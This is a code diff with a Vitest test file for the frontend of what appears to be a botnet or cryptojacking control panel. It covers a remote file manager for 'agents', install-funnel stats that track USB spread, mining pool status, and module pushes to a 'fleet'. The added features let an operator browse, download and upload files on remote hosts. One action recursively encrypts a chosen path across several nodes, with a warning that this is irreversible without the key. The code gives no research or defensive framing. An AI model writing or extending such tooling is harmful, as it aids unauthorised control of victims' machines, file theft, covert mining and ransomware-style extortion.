border: 1px solid var(--error-color);
color: var(--text-primary);
font-weight: 700;
font-size: 0.75rem;
padding: 0.25rem 0.6rem;
cursor: pointer;
border-radius: 3px;
}

View File

@@ -0,0 +1,560 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, fireEvent, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import FileManager from './FileManager';
import { api } from '../../api/client';
import { readFileAsBase64 } from '../../help/desktopPush';
vi.mock('../../api/client', () => ({
api: {
sendAgentCommand: vi.fn(),
},
}));
vi.mock('../../help/desktopPush', () => ({
readFileAsBase64: vi.fn(),
}));
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
const readFileAsBase64Mock = vi.mocked(readFileAsBase64);
describe('FileManager', () => {
const defaultProps = {
agentId: 'test-agent-id-12345678',
agentName: 'TestAgentName',
platform: 'windows',
online: true,
encryptTargets: [] as { id: string; name: string }[],
commandResults: [] as { agentId: string; action: string; success: boolean; message: string }[],
onTerminalLine: vi.fn(),
};
beforeEach(() => {
vi.resetAllMocks();
sendAgentCommandMock.mockResolvedValue({ success: true });
readFileAsBase64Mock.mockResolvedValue('mock_base64_payload');
});
afterEach(() => {
cleanup();
vi.unstubAllGlobals();
});
it('renders offline message and disables actions when agent is offline', () => {
render(<FileManager {...defaultProps} online={false} />);
expect(screen.getByText('FILE BROWSER — TestAgentName')).toBeInTheDocument();
expect(screen.getByText('Agent offline')).toBeInTheDocument();
// Refresh button should be disabled
const refreshBtn = screen.getByRole('button', { name: 'Refresh' });
expect(refreshBtn).toBeDisabled();
// Check action buttons disabled
const downloadBtn = screen.getByRole('button', { name: 'Download selected' });
expect(downloadBtn).toBeDisabled();
const uploadInput = screen.getByLabelText('Upload') as HTMLInputElement;
expect(uploadInput).toBeDisabled();
});
it('performs list_dir refresh on load and when clicking Refresh', async () => {
const { rerender } = render(<FileManager {...defaultProps} />);
// Triggered automatically on mount
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', { path: '' });
// Simulate list_dir reply to clear busy state
rerender(
<FileManager
{...defaultProps}
commandResults={[
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify({ path: '', entries: [] }),
},
]}
/>
);
sendAgentCommandMock.mockClear();
// Click refresh manually
const refreshBtn = screen.getByRole('button', { name: 'Refresh' });
await userEvent.setup().click(refreshBtn);
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', { path: '' });
});
it('renders directory listing when list_dir results are received via commandResults', () => {
const listDirPayload = {
path: 'C:\\Users\\Admin',
home_dir: 'C:\\Users\\Admin',
entries: [
{ name: 'Documents', is_dir: true, size: 0 },
{ name: 'notes.txt', is_dir: false, size: 500 },
{ name: 'backup.zip', is_dir: false, size: 2048 },
],
};
const commandResults = [
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify(listDirPayload),
},
];
const { rerender } = render(<FileManager {...defaultProps} commandResults={[]} />);
// Initially no list elements rendered other than parent row navigation
expect(screen.queryByText(/Documents/)).not.toBeInTheDocument();
expect(screen.queryByText(/notes.txt/)).not.toBeInTheDocument();
// Pass in command results
rerender(<FileManager {...defaultProps} commandResults={commandResults} />);
expect(screen.getByText(/Documents/)).toBeInTheDocument();
expect(screen.getByText(/notes.txt/)).toBeInTheDocument();
expect(screen.getByText('500 B')).toBeInTheDocument(); // 500 B < 1024
expect(screen.getByText('2.0 KB')).toBeInTheDocument(); // 2048 B / 1024 = 2.0 KB
expect(screen.getByText('C:\\Users\\Admin')).toBeInTheDocument();
});
it('handles navigation by clicking folders or breadcrumbs', async () => {
const listDirPayload = {
path: 'C:\\Users\\Admin',
home_dir: 'C:\\Users\\Admin',
entries: [
{ name: 'Documents', is_dir: true, size: 0 },
],
};
const commandResults = [
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify(listDirPayload),
},
];
const { rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
sendAgentCommandMock.mockClear();
// Click on Documents folder to navigate in
const docFolderBtn = screen.getByText(/Documents/);
await userEvent.setup().click(docFolderBtn);
// Verify it updates cwd and sends list_dir for the nested path
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
path: 'C:\\Users\\Admin\\Documents',
});
// Simulate list_dir response for the new nested path to clear busy
rerender(
<FileManager
{...defaultProps}
commandResults={[
...commandResults,
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify({
path: 'C:\\Users\\Admin\\Documents',
home_dir: 'C:\\Users\\Admin',
entries: [],
}),
},
]}
/>
);
sendAgentCommandMock.mockClear();
// Click parent navigation ".."
const parentNavBtn = screen.getByText('..');
await userEvent.setup().click(parentNavBtn);
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
path: 'C:\\Users\\Admin',
});
// Simulate list_dir response back to parent
rerender(
<FileManager
{...defaultProps}
commandResults={[
...commandResults,
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify({
path: 'C:\\Users\\Admin',
home_dir: 'C:\\Users\\Admin',
entries: [{ name: 'Documents', is_dir: true, size: 0 }],
}),
},
]}
/>
);
sendAgentCommandMock.mockClear();
// Click crumb item "Users" in breadcrumbs
const usersCrumbBtn = screen.getByRole('button', { name: 'Users' });
await userEvent.setup().click(usersCrumbBtn);
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
path: 'C:\\Users',
});
// Simulate response for C:\Users
rerender(
<FileManager
{...defaultProps}
commandResults={[
...commandResults,
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify({
path: 'C:\\Users',
home_dir: 'C:\\Users\\Admin',
entries: [],
}),
},
]}
/>
);
sendAgentCommandMock.mockClear();
// Click home breadcrumb
const homeCrumbBtn = screen.getByRole('button', { name: 'home' });
await userEvent.setup().click(homeCrumbBtn);
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
path: 'C:\\Users\\Admin', // Should navigate back to homeDir
});
});
it('filters directory entries based on filter input', () => {
const listDirPayload = {
path: '/var/log',
home_dir: '/var/log',
entries: [
{ name: 'syslog', is_dir: false, size: 500 },
{ name: 'nginx.log', is_dir: false, size: 1200 },
{ name: 'auth.log', is_dir: false, size: 800 },
],
};
const commandResults = [
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify(listDirPayload),
},
];
render(<FileManager {...defaultProps} commandResults={commandResults} />);
expect(screen.getByText(/syslog/)).toBeInTheDocument();
expect(screen.getByText(/nginx.log/)).toBeInTheDocument();
expect(screen.getByText(/auth.log/)).toBeInTheDocument();
// Filter for "log" (matches all)
const filterInput = screen.getByPlaceholderText('Filter names…');
fireEvent.change(filterInput, { target: { value: 'log' } });
expect(screen.getByText(/syslog/)).toBeInTheDocument();
expect(screen.getByText(/nginx.log/)).toBeInTheDocument();
expect(screen.getByText(/auth.log/)).toBeInTheDocument();
// Filter for "sys" (matches syslog only)
fireEvent.change(filterInput, { target: { value: 'sys' } });
expect(screen.getByText(/syslog/)).toBeInTheDocument();
expect(screen.queryByText(/nginx.log/)).not.toBeInTheDocument();
expect(screen.queryByText(/auth.log/)).not.toBeInTheDocument();
});
it('reads file and renders preview when clicking a file entry', async () => {
const listDirPayload = {
path: '/root',
home_dir: '/root',
entries: [
{ name: 'config.json', is_dir: false, size: 100 },
],
};
const commandResults = [
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify(listDirPayload),
},
];
const { container, rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
// Clear initial mount busy state
rerender(
<FileManager
{...defaultProps}
commandResults={[
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify({ path: '/root', home_dir: '/root', entries: listDirPayload.entries }),
},
]}
/>
);
sendAgentCommandMock.mockClear();
// Click file config.json
const fileBtn = screen.getByText(/config.json/);
await userEvent.setup().click(fileBtn);
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'read_file', {
path: '/root/config.json',
});
// Verify preview container does not exist yet
expect(container.querySelector('pre')).not.toBeInTheDocument();
// Simulate WS response for read_file
const readResults = [
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify({ path: '/root', home_dir: '/root', entries: listDirPayload.entries }),
},
{
agentId: 'test-agent-id-12345678',
action: 'read_file',
success: true,
message: '{"host":"127.0.0.1"}',
},
];
rerender(<FileManager {...defaultProps} commandResults={readResults} />);
// Preview should now be shown
const preElement = container.querySelector('pre');
expect(preElement).toBeInTheDocument();
expect(preElement).toHaveClass('fm-preview');
expect(preElement).toHaveTextContent('{"host":"127.0.0.1"}');
});
it('selects multiple files and triggers bulk download', async () => {
const listDirPayload = {
path: '/app',
home_dir: '/app',
entries: [
{ name: 'a.txt', is_dir: false, size: 100 },
{ name: 'b.txt', is_dir: false, size: 200 },
],
};
const commandResults = [
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify(listDirPayload),
},
];
const { rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
// Rerender with matched path to clear busy state
rerender(
<FileManager
{...defaultProps}
commandResults={[
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify({ path: '/app', home_dir: '/app', entries: listDirPayload.entries }),
},
]}
/>
);
// Find checkboxes
const checkboxes = screen.getAllByRole('checkbox');
expect(checkboxes.length).toBe(2);
// Check both directly via fireEvent to avoid label double-click issue
fireEvent.click(checkboxes[0]);
fireEvent.click(checkboxes[1]);
sendAgentCommandMock.mockClear();
// Click Download selected
const dlBtn = screen.getByRole('button', { name: 'Download selected' });
await userEvent.setup().click(dlBtn);
// Verify api.sendAgentCommand was called for each file
expect(sendAgentCommandMock).toHaveBeenCalledTimes(2);
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(1, 'test-agent-id-12345678', 'download', {
path: '/app/a.txt',
});
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(2, 'test-agent-id-12345678', 'download', {
path: '/app/b.txt',
});
});
it('handles file upload action', async () => {
const listDirPayload = {
path: '/app',
home_dir: '/app',
entries: [],
};
const commandResults = [
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify(listDirPayload),
},
];
const { container, rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
// Clear busy
rerender(
<FileManager
{...defaultProps}
commandResults={[
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify({ path: '/app', home_dir: '/app', entries: [] }),
},
]}
/>
);
const uploadInput = container.querySelector('input[type="file"]')!;
const file = new File(['hello'], 'hello.txt', { type: 'text/plain' });
sendAgentCommandMock.mockClear();
// Trigger upload
fireEvent.change(uploadInput, { target: { files: [file] } });
await waitFor(() => {
expect(readFileAsBase64Mock).toHaveBeenCalledWith(file);
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'upload', {
path: '/app/hello.txt',
data: 'mock_base64_payload',
});
});
});
it('renders path encryption and triggers it with multiple targets when approved', async () => {
const encryptTargets = [
{ id: 'target-1', name: 'Agent-One' },
{ id: 'target-2', name: 'Agent-Two' },
];
const confirmMock = vi.fn().mockReturnValue(true);
vi.stubGlobal('confirm', confirmMock);
const listDirPayload = {
path: '/data',
home_dir: '/data',
entries: [],
};
const commandResults = [
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify(listDirPayload),
},
];
const { rerender } = render(
<FileManager
{...defaultProps}
commandResults={commandResults}
encryptTargets={encryptTargets}
/>
);
// Clear busy
rerender(
<FileManager
{...defaultProps}
commandResults={[
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: true,
message: JSON.stringify({ path: '/data', home_dir: '/data', entries: [] }),
},
]}
encryptTargets={encryptTargets}
/>
);
// Verify path encryption section is rendered
expect(screen.getByText('Recursive')).toBeInTheDocument();
const encryptBtn = screen.getByRole('button', { name: '🔒 Encrypt path (2)' });
expect(encryptBtn).toBeInTheDocument();
sendAgentCommandMock.mockClear();
// Click Encrypt path
await userEvent.setup().click(encryptBtn);
expect(confirmMock).toHaveBeenCalled();
expect(sendAgentCommandMock).toHaveBeenCalledTimes(2);
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(1, 'target-1', 'encrypt_path', {
path: '/data',
command: 'recursive',
});
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(2, 'target-2', 'encrypt_path', {
path: '/data',
command: 'recursive',
});
expect(defaultProps.onTerminalLine).toHaveBeenCalledWith(
'encrypt_path → /data [recursively] on 2 node(s)',
true
);
});
it('handles error messages from command results', () => {
const errorResults = [
{
agentId: 'test-agent-id-12345678',
action: 'list_dir',
success: false,
message: 'Permission denied',
},
];
render(<FileManager {...defaultProps} commandResults={errorResults} />);
expect(screen.getByText('Permission denied')).toBeInTheDocument();
expect(screen.getByText('Permission denied')).toHaveClass('fm-err');
});
});

View File

@@ -1,42 +1,46 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { api } from '../../api/client';
import {
defaultBrowseRoot,
joinRemotePath,
parseListDirMessage,
pathBreadcrumbs,
type DirEntry,
} from '../../help/remoteDirBrowser';
import { HelpTip } from '../HelpTip';
import './FileManager.css';
interface DirEntry {
name: string;
is_dir: boolean;
size: number;
}
interface Props {
agentId: string;
agentName?: string;
platform?: string;
online: boolean;
/** Encrypt targets — all online selected agents when multi-select */
encryptTargets?: { id: string; name: string }[];
/** Called when a command_result arrives (from parent WS hook) */
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
onTerminalLine?: (text: string, isCmd?: boolean) => void;
}
function parseListDir(message: string): { path: string; entries: DirEntry[] } | null {
try {
const j = JSON.parse(message) as { path?: string; entries?: DirEntry[] };
if (j.entries && Array.isArray(j.entries)) {
return { path: j.path ?? '', entries: j.entries };
}
} catch {
/* not JSON */
}
return null;
}
export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
export default function FileManager({
agentId,
agentName,
platform,
online,
encryptTargets,
commandResults,
onTerminalLine,
}: Props) {
const [cwd, setCwd] = useState('');
const [entries, setEntries] = useState<DirEntry[]>([]);
const [homeDir, setHomeDir] = useState('');
const [filter, setFilter] = useState('');
const [selected, setSelected] = useState<Set<string>>(new Set());
const [busy, setBusy] = useState(false);
const [preview, setPreview] = useState('');
const [err, setErr] = useState('');
const [uploadPath, setUploadPath] = useState('');
const [recursive, setRecursive] = useState(true);
const filtered = useMemo(() => {
const q = filter.trim().toLowerCase();
@@ -54,48 +58,66 @@ export default function FileManager({ agentId, agentName, online, commandResults
});
}, [agentId, cwd, online]);
useEffect(() => {
setCwd(defaultBrowseRoot(platform));
setEntries([]);
setHomeDir('');
setErr('');
setSelected(new Set());
setPreview('');
}, [agentId, platform]);
useEffect(() => {
refresh();
}, [refresh]);
useEffect(() => {
if (!commandResults?.length) return;
const last = [...commandResults].reverse().find((r) => r.agentId === agentId);
const last = [...commandResults]
.reverse()
.find((r) => r.agentId === agentId && (r.action === 'list_dir' || r.action === 'read_file' || r.action === 'download' || r.action === 'encrypt_path' || r.action === 'sys_crypt'));
if (!last) return;
if (last.action === 'list_dir' && last.success) {
const parsed = parseListDir(last.message);
if (parsed) {
setEntries(parsed.entries);
if (parsed.path) setCwd(parsed.path);
if (last.action === 'list_dir') {
if (last.success) {
const parsed = parseListDirMessage(last.message);
if (parsed) {
setEntries(parsed.entries);
if (parsed.path) setCwd(parsed.path);
if (parsed.home_dir) setHomeDir(parsed.home_dir);
}
} else {
setErr(last.message);
}
setBusy(false);
} else if (last.action === 'list_dir' && !last.success) {
setErr(last.message);
setBusy(false);
} else if (last.action === 'read_file' && last.success) {
setPreview(last.message.slice(0, 8000));
setBusy(false);
} else if (last.action === 'read_file' && !last.success) {
setErr(last.message);
} else if (last.action === 'read_file') {
if (last.success) {
setPreview(last.message.slice(0, 8000));
} else {
setErr(last.message);
}
setBusy(false);
} else if (last.action === 'download') {
setBusy(false);
} else if (last.action === 'encrypt_path' || last.action === 'sys_crypt') {
setBusy(false);
onTerminalLine?.(
`${last.action} ${last.success ? 'OK' : 'FAIL'}${last.message.slice(0, 500)}`,
false
);
}
}, [commandResults, agentId]);
}, [commandResults, agentId, onTerminalLine]);
const navigate = (name: string, isDir: boolean) => {
if (!isDir) return;
const sep = cwd.includes('/') ? '/' : '\\';
let next = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
if (name === '..') {
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/);
parts.pop();
next = parts.join(sep) || (sep === '/' ? '/' : 'C:\\');
}
setCwd(next);
if (!isDir && name !== '..') return;
setCwd(joinRemotePath(cwd, name));
setSelected(new Set());
};
const goHome = () => {
setCwd(homeDir || '');
};
const toggleSelect = (name: string) => {
setSelected((prev) => {
const n = new Set(prev);
@@ -111,7 +133,7 @@ export default function FileManager({ agentId, agentName, online, commandResults
if (!online || selected.size === 0) return;
setBusy(true);
for (const name of selected) {
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
const p = joinRemotePath(cwd, name);
try {
const res = await api.sendAgentCommand(agentId, 'download', { path: p });
if (res && typeof res === 'object' && 'success' in res) {
@@ -125,7 +147,7 @@ export default function FileManager({ agentId, agentName, online, commandResults
};
const readFile = (name: string) => {
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
const p = joinRemotePath(cwd, name);
setBusy(true);
setPreview('');
api.sendAgentCommand(agentId, 'read_file', { path: p }).catch((e) => {
@@ -134,19 +156,60 @@ export default function FileManager({ agentId, agentName, online, commandResults
});
};
const crumbs = cwd.split(/[/\\]/).filter(Boolean);
const runEncrypt = () => {
const targets = (encryptTargets ?? []).filter(Boolean);
if (targets.length === 0) {
alert('Select at least one online node.');
return;
}
const pathLabel = cwd || homeDir || '(agent home)';
const scope = recursive ? 'recursively' : 'non-recursively';
const warn =
targets.length > 1
? `Encrypt ${pathLabel} ${scope} on ${targets.length} nodes?\n\nThis is IRREVERSIBLE without the key.`
: `Encrypt ${pathLabel} ${scope} on ${targets[0].name}?\n\nThis is IRREVERSIBLE without the key.`;
if (!confirm(warn)) return;
setBusy(true);
onTerminalLine?.(
`encrypt_path → ${pathLabel} [${scope}] on ${targets.length} node(s)`,
true
);
for (const t of targets) {
api
.sendAgentCommand(t.id, 'encrypt_path', {
path: cwd || homeDir,
command: recursive ? 'recursive' : '',
})
.catch((e) => {
onTerminalLine?.(
`[ERROR] encrypt_path @ ${t.name}: ${e instanceof Error ? e.message : String(e)}`,
false
);
});
}
};
const crumbs = pathBreadcrumbs(cwd);
const browseLabel = homeDir || cwd || 'agent home';
return (
<div className="file-manager">
<div className="fm-header">
<span className="font-tech fm-title">FILE BROWSER {agentName ?? agentId.slice(0, 8)}</span>
<span className="font-tech fm-title">
FILE BROWSER {agentName ?? agentId.slice(0, 8)} <HelpTip field="fm_remote_browse" />
</span>
<button type="button" className="btn btn-outline btn-sm" disabled={!online || busy} onClick={refresh}>
Refresh
</button>
</div>
{!online && <p className="fm-offline">Agent offline</p>}
<div className="fm-path font-tech" title={cwd || homeDir}>
{browseLabel}
</div>
<div className="fm-breadcrumb font-tech">
<button type="button" className="fm-crumb" onClick={() => setCwd(cwd.startsWith('/') ? '/' : 'C:\\')}>root</button>
<button type="button" className="fm-crumb" onClick={goHome}>home</button>
{crumbs.map((c, i) => (
<span key={i}>
<span className="fm-sep">/</span>
@@ -155,6 +218,11 @@ export default function FileManager({ agentId, agentName, online, commandResults
className="fm-crumb"
onClick={() => {
const parts = crumbs.slice(0, i + 1);
// Normalise Windows drive roots: 'C:' → 'C:\\'
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
setCwd(`${parts[0]}\\`);
return;
}
setCwd((cwd.startsWith('/') ? '/' : '') + parts.join(sep));
}}
>
@@ -190,24 +258,46 @@ export default function FileManager({ agentId, agentName, online, commandResults
Download selected
</button>
<input className="input mono fm-upload-path" placeholder="Upload path" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
<label className="btn btn-outline btn-sm">
Upload
<input
type="file"
hidden
disabled={!online || busy}
onChange={async (ev) => {
const file = ev.target.files?.[0];
if (!file) return;
const { readFileAsBase64 } = await import('../../help/desktopPush');
const b64 = await readFileAsBase64(file);
const dest = uploadPath.trim() || `${cwd}${sep}${file.name}`;
setBusy(true);
api.sendAgentCommand(agentId, 'upload', { path: dest, data: b64 }).finally(() => setBusy(false));
ev.target.value = '';
}}
/>
</label>
<span className="fm-upload-wrap">
<label className="btn btn-outline btn-sm">
Upload
<input
type="file"
hidden
disabled={!online || busy}
onChange={async (ev) => {
const file = ev.target.files?.[0];
if (!file) return;
const { readFileAsBase64 } = await import('../../help/desktopPush');
const b64 = await readFileAsBase64(file);
const dest = uploadPath.trim() || joinRemotePath(cwd, file.name);
setBusy(true);
api.sendAgentCommand(agentId, 'upload', { path: dest, data: b64 })
.catch((e) => setErr(e instanceof Error ? e.message : String(e)))
.finally(() => setBusy(false));
ev.target.value = '';
}}
/>
</label>
<HelpTip field="fm_upload" />
</span>
{encryptTargets && encryptTargets.length > 0 && (
<div className="fm-encrypt-section">
<label className="fm-recursive-label">
<input type="checkbox" checked={recursive} onChange={(ev) => setRecursive(ev.target.checked)} />
Recursive
</label>
<button
type="button"
className="button btn-sm fm-encrypt-btn"
disabled={!online || busy}
onClick={runEncrypt}
>
🔒 Encrypt path ({encryptTargets.length})
</button>
<HelpTip field="fm_encrypt_path" />
</div>
)}
</div>
{err && <p className="fm-err">{err}</p>}
{preview && <pre className="fm-preview">{preview}</pre>}

View File

@@ -1,35 +1,41 @@
import { useEffect, useState } from 'react';
import { useCallback, useEffect, useState } from 'react';
import { useVisibleInterval } from '../../hooks/usePageVisible';
import { api } from '../../api/client';
import type { AuditEntry } from '../../types';
import NeonCard from '../NeonCard/NeonCard';
import { HelpTip } from '../HelpTip';
export function AuditLogStrip({ limit = 8 }: { limit?: number }) {
const [entries, setEntries] = useState<AuditEntry[]>([]);
useEffect(() => {
const refresh = useCallback(() => {
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([]));
const t = setInterval(() => {
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {});
}, 60000);
return () => clearInterval(t);
}, [limit]);
useEffect(() => {
refresh();
}, [refresh]);
useVisibleInterval(refresh, 60000);
return (
<NeonCard accent="purple" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>OPERATOR AUDIT</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>
OPERATOR AUDIT <HelpTip field="dash_operator_audit" />
</h3>
<p style={{ color: 'var(--text-muted)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
{entries.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No audit entries yet.</p>
<p style={{ color: 'var(--text-muted)', fontSize: '0.85rem' }}>No audit entries yet.</p>
) : (
<ul style={{ listStyle: 'none', margin: 0, padding: 0, fontSize: '0.75rem', fontFamily: 'monospace' }}>
{entries.map((e) => (
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid #1a1a1a' }}>
<span style={{ color: 'var(--clr-dim)' }}>{new Date(e.timestamp).toLocaleString()}</span>
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid rgba(140, 120, 60, 0.15)' }}>
<span style={{ color: 'var(--text-muted)' }}>{new Date(e.timestamp).toLocaleString()}</span>
{' '}
<span style={{ color: 'var(--neon-cyan, #0ff)' }}>{e.username || '—'}</span>
<span style={{ color: 'var(--neon-cyan)' }}>{e.username || '—'}</span>
{' · '}
<strong>{e.action}</strong>
{e.agent_id && <span style={{ color: 'var(--clr-dim)' }}> @{e.agent_id.slice(0, 8)}</span>}
{e.agent_id && <span style={{ color: 'var(--text-muted)' }}> @{e.agent_id.slice(0, 8)}</span>}
</li>
))}
</ul>
@@ -50,24 +56,26 @@ export function SpreadFunnelWidget() {
return (
<NeonCard accent="cyan" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>INSTALL FUNNEL</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>
INSTALL FUNNEL <HelpTip field="dash_install_funnel" />
</h3>
<p style={{ color: 'var(--text-muted)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
<div style={{ display: 'flex', gap: '1.5rem', marginBottom: '0.75rem', fontSize: '0.85rem' }}>
<span>New today: <strong>{stats.new_connects_today}</strong></span>
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
</div>
{byBuild.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
<p style={{ color: 'var(--text-muted)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
) : (
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
<thead>
<tr style={{ textAlign: 'left', color: 'var(--clr-dim)' }}>
<tr style={{ textAlign: 'left', color: 'var(--text-muted)' }}>
<th>Build</th><th>Worker</th><th>Count</th><th>USB</th>
</tr>
</thead>
<tbody>
{byBuild.slice(0, 10).map((r, i) => (
<tr key={i} style={{ borderTop: '1px solid #222' }}>
<tr key={i} style={{ borderTop: '1px solid rgba(140, 120, 60, 0.15)' }}>
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
<td>{r.worker_name}</td>
<td>{r.count}</td>

View File

@@ -5,6 +5,7 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
import { timeToPayout } from '../../help/fleetAnalytics';
import { formatHashrate } from '../../help/fleetFilters';
import { HelpTip } from '../HelpTip';
import './FleetPanels.css';
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
@@ -28,7 +29,7 @@ export function PoolStatusPanel({ pools }: { pools: PoolStatus[] }) {
return (
<NeonCard accent="green" className="section" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Pool Stratum Status
<span className="section-ornament"></span> Pool Stratum Status <HelpTip field="dash_pool_stratum" />
<span className="section-line" />
</h2>
{pools.length === 0 ? (
@@ -57,7 +58,7 @@ export function AIActivityPanel({ entries, agentNames }: { entries: AIActivityEn
return (
<NeonCard accent="purple" className="section" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> AI Activity Monitor
<span className="section-ornament"></span> AI Activity Monitor <HelpTip field="dash_ai_activity" />
<span className="section-line" />
</h2>
{entries.length === 0 ? (
@@ -188,7 +189,7 @@ export function FleetHealthCard({ health }: { health: FleetHealth }) {
<NeonCard accent={accent as any} className="fleet-health-card operator-deck-card operator-interactive" hud>
<div className="fh-header">
<div>
<span className="fh-label font-tech">FLEET HEALTH</span>
<span className="fh-label font-tech">FLEET HEALTH <HelpTip field="dash_fleet_health" /></span>
<span className={`fh-status-chip fh-${health.color}`}>{health.label}</span>
</div>
<div className="fh-score" style={{ color: barColor }}>{health.score}</div>

View File

@@ -5,6 +5,7 @@ import { useWebSocket } from '../../hooks/useWebSocket';
import { useFleetGroups } from '../../hooks/useFleetGroups';
import type { FleetModuleManifest } from '../../types';
import NeonCard from '../NeonCard/NeonCard';
import { HelpTip } from '../HelpTip';
import './FleetRuntimePanel.css';
type TargetMode = 'all' | 'group';
@@ -147,7 +148,7 @@ export default function FleetRuntimePanel() {
<>
<NeonCard accent="green" className="settings-section fleet-policy-deck operator-deck-card operator-interactive" hud>
<p className="fleet-policy-eyebrow font-tech">RUNTIME · NO RE-FORGE</p>
<h2 className="font-display">Live Fleet Policy</h2>
<h2 className="font-display">Live Fleet Policy <HelpTip field="fleet_runtime_policy" /></h2>
<p className="section-desc">
Push live mining rules to connected workers schedule, CPU cap, and optional pool overrides apply in memory
via <code className="mono-sm">policy_update</code>. Identity and baked forge options stay on the binary; this
@@ -376,7 +377,7 @@ export default function FleetRuntimePanel() {
</NeonCard>
<NeonCard accent="magenta" className="settings-section fleet-module-deck operator-deck-card operator-interactive">
<h2 className="font-display">Push Module to Fleet</h2>
<h2 className="font-display">Push Module to Fleet <HelpTip field="fleet_runtime_modules" /></h2>
<p className="section-desc">
Stage signed feature packs from <code className="mono-sm">data/modules/</code> agents fetch via{' '}
<code className="mono-sm">GET /api/v1/agent/module/&#123;name&#125;</code> and enable flags without a full

View File

@@ -56,7 +56,7 @@
margin: 0 0 0.35rem;
font-size: 0.72rem;
letter-spacing: 0.1em;
color: var(--accent-cyan, #00f5ff);
color: var(--neon-cyan);
text-transform: uppercase;
}

View File

@@ -1,137 +0,0 @@
.remote-dir-browser {
border: 1px solid rgba(255, 34, 34, 0.35);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(40, 0, 0, 0.25);
margin-top: 0.5rem;
}
.rdb-header {
display: flex;
justify-content: space-between;
align-items: center;
